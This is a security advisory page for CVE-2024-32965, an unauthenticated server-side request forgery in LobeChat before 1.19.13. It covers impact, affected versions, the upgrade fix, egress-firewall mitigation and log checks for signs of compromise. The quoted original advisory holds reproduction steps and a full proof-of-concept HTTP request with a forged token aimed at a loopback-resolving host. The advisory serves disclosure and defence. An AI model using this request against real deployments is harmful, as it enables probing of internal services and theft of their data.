NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · LobeChat

CVE-2024-32965: @lobehub/chat Server Side Request Forgery vulnerability

highCVSS 4.0 7.0 · 3.1 8.1GHSA-2xcc-vm3f-m8rw

LobeChat (@lobehub/chat) before 1.19.13 has an unauthenticated server-side request forgery. An attacker sends a chat request that names any proxy address, and the server calls it, so the attacker can probe internal services and read the responses. Upgrade to 1.19.13. Its EPSS score is in the 98th percentile.

Published Nov 26, 2024 · Analysis Nov 1, 2026

What an attacker can do

LobeChat lets a user enter an OpenAI API key and a custom proxy address in settings. The browser puts both in a JWT carried in the X-Lobe-Chat-Auth header on POST /api/chat/openai. The server trusts that header, so an attacker edits the token and sets the endpoint to any address. The server appends /chat/completions to it, and a trailing # in the address drops that suffix. The server then makes the request and echoes the result.

No login is needed. The reporter used a domain that resolves to 127.0.0.1 (127.0.0.1.xip.io) to reach local services and showed that internal addresses can be scanned by changing the token.

The server's network position is the prize. An attacker can map and query intranet services, cloud metadata endpoints, and admin panels that trust internal callers, and read what they return. The advisory says all users are impacted. The CVSS rates the main impact as a changed scope with high confidentiality.

Who is affected

@lobehub/chat (npm) before 1.19.13. Any self-hosted LobeChat instance exposed to untrusted users is affected, since the route needs no login. Check your version:

npm ls @lobehub/chat

For Docker, check the image tag you deployed.

@lobehub/chat

Ecosystem
npm
Affected
< 1.19.13
Fixed in
1.19.13
Check
npm ls @lobehub/chat

How to fix it

Upgrade to @lobehub/chat 1.19.13:

npm install @lobehub/[email protected]

For Docker, pull an image at or after v1.19.13. The fix is commit e960a23b. The advisory gives no workaround. If you cannot upgrade, block the instance's access to internal ranges and cloud metadata addresses with egress firewall rules.

How to tell if you were hit

Search access logs for POST requests to /api/chat/openai that come from unknown clients. Look at outbound connections from the LobeChat host to internal addresses, loopback or metadata endpoints you do not expect. Decode X-Lobe-Chat-Auth tokens if you log them, and look for an endpoint value that points at an internal host or ends with #.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

lobe-chat before 1.19.13 has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.

Details

  • visit https://chat-preview.lobehub.com/
  • click settings -> llm -> openai
  • fill the OpenAI API Key you like
  • fill the proxy address that you want to attack (e.g. a domain that resolved to a local ip addr like 127.0.0.1.xip.io) (the address will concat the path "/chat/completions" which can be bypassed with sharp like "http://172.23.0.1:8000/#")
  • then lobe will echo the ssrf result

The jwt token header X-Lobe-Chat-Auth strored proxy address and OpenAI API Key, you can modify it to scan internal network in your target lobe-web.

image

image

image

PoC

POST /api/chat/openai HTTP/2
Host: chat-preview.lobehub.com
Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346244.0.0.0
Content-Length: 158
Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
X-Lobe-Chat-Auth: eyJhbGciOiJIUzI1NiJ9.eyJhY2Nlc3NDb2RlIjoiIiwiYXBpS2V5IjoiMSIsImVuZHBvaW50IjoiaHR0cDovLzEyNy4wLjAuMS54aXAuaW86MzIxMCIsImlhdCI6MTcxMTM0NjI1MCwiZXhwIjoxNzExMzQ2MzUwfQ.ZZ3v3q9T8E6llOVGOA3ep5OSVoFEawswEfKtufCcwL4
Content-Type: application/json
X-Lobe-Trace: eyJlbmFibGVkIjpmYWxzZX0=
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Origin: https://chat-preview.lobehub.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://chat-preview.lobehub.com/settings/llm
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
Connection: close

{"model":"gpt-3.5-turbo","stream":true,"frequency_penalty":0,"presence_penalty":0,"temperature":0.6,"top_p":1,"messages":[{"content":"hello","role":"user"}]}

Impact

SSRF, All users will be impacted.

Credited to yyzsec.

Questions

Does CVE-2024-32965 need authentication?

No. The advisory describes it as an unauthorized SSRF, and the CVSS vector lists no privileges required.

Which version fixes it?

@lobehub/chat 1.19.13. Anything earlier is listed as vulnerable.

How likely is exploitation?

The EPSS score is 0.26, at the 98th percentile, so it is high for this class. No source says it is exploited in the wild, and it is not in the CISA catalog.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More LobeChat vulnerabilities

All LobeChat entries